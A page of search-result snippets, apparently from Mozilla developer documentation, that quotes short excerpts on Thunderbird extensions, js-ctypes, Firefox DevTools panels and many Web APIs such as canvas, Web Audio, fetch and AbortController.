ons load an extension in its own tab run shell scripts from an extension (for example, to create a symlink) get extension metadata call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting mes...
...sage repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
customDBHeaders Preference
when using the latest releases, the line should look like: // space-delimited list in the latest code!
... the attaching of the column handler through the observerservice object is some pretty new stuff, so i was using the addeventlistener("select"...) stuff as a backup.
Zombie compartments
this can be confusing at first, so be ready for it.
... otherwise, please file a bug (using the "tech evangelism" product and the "add-ons" component), add "[memshrink]" to its whiteboard, and mark it as blocking bug 668871 and bug 700547.
Declaring and Calling Functions
functions are declared using the library object's declare() method.
... once declared, functions can be called using standard function syntax.
Int64
because javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) values represented using a 64-bit data type.
... join() creates a 64-bit integer object whose value is constructed using the specified high and low order 32-bit values.
UInt64
as javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) to use data represented using a 64-bit data type.
... join() creates a 64-bit integer object with a value constructed using the specified high and low order 32-bit values.
ctypes
javascript characters 16-bit c unicode characters are handled by js-ctypes using the jschar type.
...ocaddress(huser, "messageboxw"); // now we have a pointer to a function, let's cast it to the right type var messageboxtype = ctypes.functiontype(ctypes.winapi_abi, ctypes.int32_t, [hwnd, lpctstr, lpctstr, ctypes.uint32_t]); funcptr = ctypes.cast(funcptr, messageboxtype.ptr); funcptr(0, "test1", "test2", 0); credit for this example is to wladimir palant (stackoverflow :: how to call a function using pointer in js-ctypes) ...
Flash Activation: Browser Comparison - Plugins
hod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is visible --> <object type="application/x-shockwave-flash" data="myapp.swf" id="myplugin" width="300" height="300"> <param name="callback" value="plugincreated()"> </object> the callback parameter defined in the html can be called in flash using its flash.external.externalinterface api.
... using a script callback to determine when a plugin is activated similarly, a site's script shouldn't attempt to script a plugin immediately upon creation.
Constants - Plugins
npvers_has_xpconnect_scripting 13 plug-in is scriptable using xpconnect.
... npvers_has_npruntime_scripting 14 plug-in is scriptable using npruntime.
Drawing and Event Handling - Plugins
for information about the way html determines plug-in display mode, see using html to display plug-ins.
...for this reason, you need to convert the x - and y - coordinates using the windows api call dptolp when you output text.
Plugins
new content should not be written using flash or any other plugin technology.
... flash activation: browser comparison each browser activates flash slightly differently, which can be confusing for users and web authors.
Inspecting web app manifests - Firefox Developer Tools
in this article we will look at inspecting app manifests using the firefox devtools application panel.
...you can test this using the web manifest validator.
Examine, modify, and watch variables - Firefox Developer Tools
each object can be expanded, using a disclosure triangle, to show its properties.
... you can filter the variables that are displayed, either by using the "*" modifier in the script filter, or by typing into the filter variables box, if you have enabled this in the debugger settings.
Debugger.Script - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its debugger.script instances, without worrying about interfering with other debuggers.) a debugger.script instance is a strong reference to a jsscript object; it protects the script it refers to from being garbage collected.
... note that, if breakpoints using other handler objects are set at the same location(s) ashandler, they remain in place.
Debugger-API - Firefox Developer Tools
as is expected of javascript apis, debugger is a sound interface: using (or even misusing) debugger should never cause gecko to crash.
...both the debuggee and the code using debugger to observe it must run in the same thread.
Deprecated tools - Firefox Developer Tools
the editor mode can be triggered clicking on the icon on the right of the console input, or with ctrl + b (cmd + b on macos) when in editor mode, the enter key adds a new line in the input, and you can evaluate the expression using ctrl + enter (cmd + enter on macos).
... starting firefox 72, you can import a javascript file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos).
DevTools API - Firefox Developer Tools
unfortunately, their api's are a bit different and it's not always evident which one a certain component is using.
... examples here's a few examples using the gdevtools object.
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a table.
... there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
Tree map view - Firefox Developer Tools
the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory.
...this means you can quickly get an idea of roughly what sorts of things allocated by your site are using the most memory.
Inspecting web sockets - Firefox Developer Tools
pausing web socket traffic you can use the pause/resume button in the network monitor toolbar to stop intercepting web socket traffic.
... filtering web socket frames to focus on specific messages, frames can be filtered using the filter at the top of the messages panel.
Performance Analysis - Firefox Developer Tools
using the performance analysis tool to run the performance analysis tool click the stopwatch icon in the toolbar.
... network monitor features the following articles cover different aspects of using the network monitor: toolbar network request list network request details network traffic recording throttling ...
Examine and edit CSS - Firefox Developer Tools
that means that if you are using a css preprocessor that has support for source maps, and you've enabled source map support in the style editor settings, then the link will take you to the original source, not the generated css.
...if you edit the css using the style editor, the changes will not be shown in the changes pane.
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
the grid inspector allows you to examine css grid layouts using the firefox devtools, discovering grids present on a page, examining and modifying them, debugging layout issues, and more.
... in the html pane in the html pane, elements laid out using a grid have a "grid" marker beside them.
Call Tree - Firefox Developer Tools
to do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.
... using an inverted, aka bottom-up, call tree an inverted call tree reverses the order of all stacks, putting the leafmost function calls at the top.
Frame rate - Firefox Developer Tools
using the frame rate graph the great value of the frame rate graph is that, like the web console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis.
... if we select one of these slices of the recording, the main waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: we have a javascript function from a click event that's blocking the main thread for 170 milliseconds.
Responsive Design Mode - Firefox Developer Tools
screen size - you can edit the width and height values to change the device size by editing a number directly or using the up and down keys to increase or decrease the value by 1 pixels on each keypress or hold and shift to change the value by 10.
... network throttling if you do all your development and testing using a very fast network connection, users may experience problems with your site if they are using a slower connection.
Settings - Firefox Developer Tools
if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view.
... indent using spaces when checked, indentation will be performed using spaces, when off, the editor will use tabs instead.
Style Editor - Firefox Developer Tools
the media sidebar works especially well with responsive design view for creating and debugging responsive layouts: from firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the responsive design view: creating and importing style sheets you can create a new style sheet by clicking the new button in the toolbar.
... source map support web developers often create css files using a preprocessor like sass, less, or stylus.
Validators - Firefox Developer Tools
(some authoring software, such as html-kit, builds in html tidy which makes validation quick and easy.) html validator pro this is an automated html5 checker using the same validator as the w3c.
... accessibility services lynx viewer checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape.
Console messages - Firefox Developer Tools
the logging category includes messages logged using the console api.
... interpreter input/output commands sent to the browser using the web console's javascript interpreter, and the corresponding responses, are logged in the console messages.
The JavaScript input interpreter - Firefox Developer Tools
you can interpret javascript expressions in real time using the interpreter provided by the web console.
...there are three ways to select an iframe using cd(): you can pass the iframe dom element: var frame = document.getelementbyid("frame1"); cd(frame); you can pass a css selector that matches the iframe: cd("#frame1"); you can pass the iframe's global window object: var frame = document.getelementbyid("frame1"); cd(frame.contentwindow); to switch the context back to the top-level window, call cd() with no arguments: cd(); for example, ...
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
note: when using webgl2, this method is available as gl.drawelementsinstanced() by default.
...possible values are: gl.unsigned_byte gl.unsigned_short when using the oes_element_index_uint extension: gl.unsigned_int offset a glintptr specifying an offset in the element array buffer.
AbortController.AbortController() - Web APIs
examples in the following snippet, we aim to download a video using the fetch api.
... we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property.
AbortController.abort() - Web APIs
examples in the following snippet, we aim to download a video using the fetch api.
... we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property.
AbortController.signal - Web APIs
examples in the following snippet, we aim to download a video using the fetch api.
... we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property.
AbortSignal: abort event - Web APIs
using abortcontroller.abort().
...later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console.
AddressErrors - Web APIs
any members which is present indicates that a validation error occurred for the member of the same name in an address described using paymentaddress.
... then a paymentdetailsupdate object is created with its error set to a generic message about address errors and with the reset of the object's values taken from shippingaddresserrors, and, using "...defaultpaymentdetails" as the final entry in the object, the remeainder of the properties' values are taken from defaultpaymentdetails.
AnalyserNode - Web APIs
analysernode.mindecibels is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using getbytefrequencydata().
... analysernode.maxdecibels is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using getbytefrequencydata().
Animation - Web APIs
WebAPIAnimation
animation.pending read only indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
... consider providing a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
AudioBufferSourceNode - Web APIs
an audiobuffersourcenode can be instantiated using the audiocontext.createbuffersource() method.
... examples in this example, we create a two-second buffer, fill it with white noise, and then play it using an audiobuffersourcenode.
AudioContext.createMediaStreamSource() - Web APIs
tream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + ...
...so playing/pausing the stream can still be done through the media element api and the player controls.
AudioContext.createMediaStreamTrackSource() - Web APIs
once that access is attained, an audio context is established and a mediastreamtrackaudiosourcenode is created using createmediastreamtracksource(), taking its audio from the first audio track in the stream returned by getusermedia().
... then a biquadfilternode is created using createbiquadfilter(), and it's configured as desired to perform a lowshelf filter on the audio coming from the source.
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
for example, you might send the audio from a mediaelementaudiosourcenode—that is, the audio from an html5 media element such as <audio>—through a band pass filter implemented using a biquadfilternode to reduce noise before then sending the audio along to the speakers.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); audioparam example in this example, we will be altering the gain value of a gainnode using an oscillatornode with a slow frequency value.
AudioScheduledSourceNode.onended - Web APIs
the ended event is only sent to a node configured to loop automatically when the node is stopped using its stop() method.
... this is the case, for example, when using an audiobuffersourcenode with its loop property set to true.
AudioScheduledSourceNode - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: ended fired when the source node has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... also available using the onended event handler property.
AudioTrackList.onchange - Web APIs
note: you can also add a handler for the change event using addeventlistener().
... var tracklist = document.queryselector("video").audiotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackenabledbutton(track.id, track.enabled); }); }; the updatetrackenabledbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's enabled flag to determine which state the control should be in now.
AudioWorkletProcessor - Web APIs
the resulting audioparams reside in the parameters property of the node and can be automated using standard methods such as linearramptovalueattime.
... processing audio an example algorithm of creating a custom audio processing mechanism is: create a separate file; in the file: extend the audioworkletprocessor class (see "deriving classes" section) and supply your own process() method in it; register the processor using audioworkletglobalscope.registerprocessor() method; load the file using addmodule() method on your audio context's audioworklet property; create an audioworkletnode based on the processor.
BasicCardRequest - Web APIs
instead of using this property, it is up to the server to check support for the card given the information coded into the account number.
...} once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
Blob - Web APIs
WebAPIBlob
using blobs to construct a blob from other non-blob objects and data, use the blob() constructor.
...the following code reads the content of a blob as text: const text = await (new response(blob)).text(); or by using blob.prototype.text(): const text = await blob.text(); by using other methods of filereader, it is possible to read the contents of a blob as a string or a data url.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track.
...when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination.
Body.blob() - Web APIs
WebAPIBodyblob
example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
... when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
... when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
Body.json() - Web APIs
WebAPIBodyjson
example in our fetch json example (run fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file.
... when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.
CSS numeric factory functions - Web APIs
these functions create new numeric values less verbosely than using the cssunitvalue.cssunitvalue() constructor.
...<resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric factory function to create a cssunitvalue: let height = css.vmax(50); console.log( height ); // cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ) // vmax in this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status comment css object model (cssom)the definition of 'numeric factory functions' in that specification.
CSSPseudoElement - Web APIs
the csspseudoelement interface represents a pseudo-element that may be the target of an event or animated using the web animations api.
... examples basic example using element.pseudo using pseudo-elements, most modern browsers will automatically add quotation marks around text inside a <q> element.
CSSStyleDeclaration.setProperty() - Web APIs
note: value must not contain "!important" -- that should be set using the priority parameter.
... we know that the rule we want to alter to do this is contained inside the second stylesheet applied to the page, so we grab a reference to it using document.stylesheets[1].
CSSStyleSheet.addRule() - Web APIs
you should avoid using this method, and should instead use the more standard insertrule() method.
... usage notes this method is implemented by browsers by constructing a string using the template literal `${selector}{${styleblock}}`, then passing it into the standard insertrule() method.
CSSStyleSheet - Web APIs
ownerrule read only if this stylesheet is imported into the document using an @import rule, the ownerrule property returns the corresponding cssimportrule; otherwise, this property's value is null.
...a list of cssstylesheet objects for a given document can be obtained using the document.stylesheets property.
CSSValue.cssValueType - Web APIs
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
CSSValue - Web APIs
WebAPICSSValue
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
CacheStorage.delete() - Web APIs
we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array.
... if not, we delete it using delete().
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
we return the keys of the caches in the cachestorage object using keys(), then check each key to see if it is in the whitelist.
... if not, we delete it using cachestorage.delete().
CacheStorage.match() - Web APIs
we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match().
... if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone().
CanvasPattern.setTransform() - Web APIs
examples using the settransform method this is just a simple code snippet which uses the settransform method to create a canvaspattern with the specified pattern transformation from an svgmatrix.
... the pattern gets applied if you set it as the current fillstyle and gets drawn onto the canvas when using the fillrect() method, for example.
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
the starting point is the latest point in the current path, which can be changed using moveto() before creating the bézier curve.
... a simple bézier curve this example draws a simple bézier curve using beziercurveto().
CanvasRenderingContext2D.closePath() - Web APIs
you can render the path using the stroke() or fill() methods.
... syntax void ctx.closepath(); examples closing a triangle this example creates the first two (diagonal) sides of a triangle using the lineto() method.
CanvasRenderingContext2D.createImageData() - Web APIs
examples creating a blank imagedata object this snippet creates a blank imagedata object using the createimagedata() method.
...); // iterate through every pixel for (let i = 0; i < imagedata.data.length; i += 4) { // modify pixel data imagedata.data[i + 0] = 190; // r value imagedata.data[i + 1] = 0; // g value imagedata.data[i + 2] = 210; // b value imagedata.data[i + 3] = 255; // a value } // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result more examples for more examples using createimagedata() and the imagedata object, see pixel manipulation with canvas and imagedata.data.
CanvasRenderingContext2D.createPattern() - Web APIs
the canvasrenderingcontext2d.createpattern() method of the canvas 2d api creates a pattern using the specified image and repetition.
...it can be any of the following: htmlimageelement (<img>) svgimageelement (<image>) htmlvideoelement (<video>, by using the capture of the video) htmlcanvaselement (<canvas>) imagebitmap offscreencanvas repetition a domstring indicating how to repeat the pattern's image.
CanvasRenderingContext2D.createRadialGradient() - Web APIs
the canvasrenderingcontext2d.createradialgradient() method of the canvas 2d api creates a radial gradient using the size and coordinates of two circles.
... examples filling a rectangle with a radial gradient this example initializes a radial gradient using the createradialgradient() method.
CanvasRenderingContext2D.font - Web APIs
examples using a custom font in this example we use the font property to specify a custom font weight, size, and family.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas.
CanvasRenderingContext2D.putImageData() - Web APIs
note: image data can be retrieved from a canvas using the getimagedata() method.
...0, 0, 100, 100); // create an imagedata object from it var imagedata = ctx.getimagedata(0, 0, 100, 100); // use the putimagedata function that illustrates how putimagedata works putimagedata(ctx, imagedata, 150, 0, 50, 50, 25, 25); result data loss due to browser optimization due to the lossy nature of converting to and from premultiplied alpha color values, pixels that have just been set using putimagedata() might be returned to an equivalent getimagedata() as different values.
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
the starting point is the latest point in the current path, which can be changed using moveto() before creating the quadratic bézier curve.
... a simple quadratic curve this example draws a simple quadratic bézier curve using quadraticcurveto().
CanvasRenderingContext2D.rect() - Web APIs
examples drawing a rectangle this example creates a rectangular path using the rect() method.
... the path is then rendered using the fill() method.
CanvasRenderingContext2D.stroke() - Web APIs
the stroke is drawn using the non-zero winding rule, which means that path intersections will still get filled.
... examples a simple stroked rectangle this example creates a rectangle using the rect() method, and then draws it to the canvas using stroke().
A basic ray-caster - Web APIs
this article provides an interesting real-world example of using the <canvas> element to do software rendering of a 3d environment using ray-casting.
...the code does attempt to be very efficient, using array look-ups of pre-computed values, but i'm no optimization guru, so things could probably be written faster.
Advanced animations - Web APIs
ball.x + ball.vx < 0) { ball.vx = -ball.vx; } raf = window.requestanimationframe(draw); } canvas.addeventlistener('mouseover', function(e) { raf = window.requestanimationframe(draw); }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimationframe(raf); }); ball.draw(); adding mouse control to get some control over the ball, we can make it follow our mouse using the mousemove event, for example.
..., function(e) { if (!running) { clear(); ball.x = e.clientx; ball.y = e.clienty; ball.draw(); } }); canvas.addeventlistener('click', function(e) { if (!running) { raf = window.requestanimationframe(draw); running = true; } }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimationframe(raf); running = false; }); ball.draw(); move the ball using your mouse and release it with a click.
Drawing text - Web APIs
a filltext example the text is filled using the current fillstyle.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hello world', 10, 50); } <canvas id="canvas" width="300" height="100"></canvas> draw(); a stroketext example the text is filled using the current strokestyle.
Clipboard - Web APIs
WebAPIClipboard
calls to the methods of the clipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "clipboard-read" or "clipboard-write" permission as appropriate.
...check the compatibility tables for each method before using it.
CloseEvent.initCloseEvent() - Web APIs
the closeevent.initcloseevent() method initializes the value of a close event once it's been created (normally using the document.createevent() method).
...this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
Console.group() - Web APIs
WebAPIConsolegroup
using groups in the console requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) you can use nested groups to help organize your output by visually associating related messages.
...for example, given this code: console.log("this is the outer level"); console.group(); console.log("level 2"); console.group(); console.log("level 3"); console.warn("more of level 3"); console.groupend(); console.log("back to level 2"); console.groupend(); console.log("back to the outer level"); the output looks like this: see using groups in the console in the documentation of console for more details.
Credential Management API - Web APIs
this is sometimes referred to as public suffix list (psl) matching; however the spec only recommends using psl to determine the effective scope of a credential.
... publickeycredential provides a credential for logging in using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
Crypto.getRandomValues() - Web APIs
to guarantee enough performance, implementations are not using a truly random number generator, but they are using a pseudo-random number generator seeded with a value with enough entropy.
...user agents are instead urged to provide the best entropy they can when generating random numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken from an external source of pseudorandom numbers, such as a platform-specific random number function, the unix /dev/urandom device, or other source of random or pseudorandom data.
CustomEvent.initCustomEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... note: rather than using the feature, instead use specific event constructors, like customevent().
DOMMatrixReadOnly.scale() - Web APIs
we test if the browser supports a six parameter scale() method by creating a new matrix using three parameters and observing it's is2d property — if this is false then the third parameter has been accepted by the browser as a scalez parameter, making this a 3d matrix.
... we then create a new matrix scaled about a given origin, using either three or six parameters depending on the browser support.
DOMParser - Web APIs
WebAPIDOMParser
you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface.
... possible values are the following: mimetype doc.constructor text/html document text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snipp...
DOMPointReadOnly.fromPoint() - Web APIs
you can also create a new dompointreadonly object using the new dompointreadonly() constructor.
... const point2d = dompointreadonly.frompoint({x: 25, y: 25}) creating a 3d point using an existing point this example creates a point, origpoint, of type dompoint, using new dompoint().
DOMTokenList.entries() - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
... we when retrieve an iterator containing the key/value pairs using entries(), then iterate through each one using a for...of loop, writing them to the <span>'s node.textcontent.
DOMTokenList.forEach() - Web APIs
example in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
... we when retrieve an iterator containing the values using foreach(), writing each one to the <span>'s node.textcontent inside the foreach() inner function.
DOMTokenList.item() - Web APIs
WebAPIDOMTokenListitem
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
... we then retrieve the last item in the list using item(tokenlist.length - 1), and write it into the <span>'s node.textcontent.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
... we when retrieve an iterator containing the keys using values(), then iterate through those keys using a for ...
DOMTokenList.values() - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist.
... we when retrieve an iterator containing the values using values(), then iterate through those values using a for ...
DedicatedWorkerGlobalScope: message event - Web APIs
when the parent sends a message using worker.postmessage()).
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); }); alternatively, it could listen using the onmessage event handler property: // static/scripts/worker.js self.onmessage = (event) => { console.log(`received message from parent: $...
DedicatedWorkerGlobalScope.onmessage - Web APIs
when a message is sent to the worker using the worker.postmessage method.
...}; example the following code snippet shows creation of a worker object using the worker() constructor.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
the main scope that spawned the worker can send back information to the thread that spawned it using the worker.postmessage method.
...inside the handler a calculation is done from which a result message is created; this is then sent back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker script you just need onmessage because the worke...
DeprecationReportBody - Web APIs
examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
...we loop over each report using a basic for loop, then iterate over each entry of in the report's body (a deprecationreportbody instance) using a for...in structure, displaying each key/value pair inside a list item.
Document: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... document.addeventlistener('animationcancel', () => { console.log('animation canceled'); }); the same, but using the onanimationcancel property instead of addeventlistener(): document.onanimationcancel = () => { console.log('animation canceled'); }; see a live example of this event.
Document.createElementNS() - Web APIs
optionsoptional an optional elementcreationoptions object containing a single property named is, whose value is the tag name for a custom element previously defined using customelements.define().
... <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txtnode); container.appendchild(newdiv); } ]]></script> <vbox id="containerbox" flex="1"> <html:div> the script on this page will add dynamic content below: </html:div> </vbox> </page> the example given above uses inline script which is not recommended in xhtml documents.
Document.createEntityReference() - Web APIs
try to avoid using it.
...which has the value referred to by the entity, using unicode escape sequences or fromcharcode() as necessary.
Document.execCommand() - Web APIs
when using contenteditable, execcommand() affects the currently active editable element.
...don't try using the return value to verify browser support before calling a command.
Document: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... const para = document.queryselector('p'); document.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); document.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
Document.mozSetImageElement() - Web APIs
syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a background image using the -moz-element css function.
... once the canvas is drawn, document.mozsetimageelement() is called to set the background for any css using the id "canvasbg" as its background element id to be our new canvas.
Document.ononline - Web APIs
WebAPIDocumentononline
you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript function object.
... (note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup.
Document: wheel event - Web APIs
examples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel.
... // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: document.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
Document - Web APIs
WebAPIDocument
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... pointer events gotpointercapture fired when when an element captures a pointer using setpointercapture().
DocumentFragment.querySelector() - Web APIs
the documentfragment.queryselector() method returns the first element, or null if no matches are found, within the documentfragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
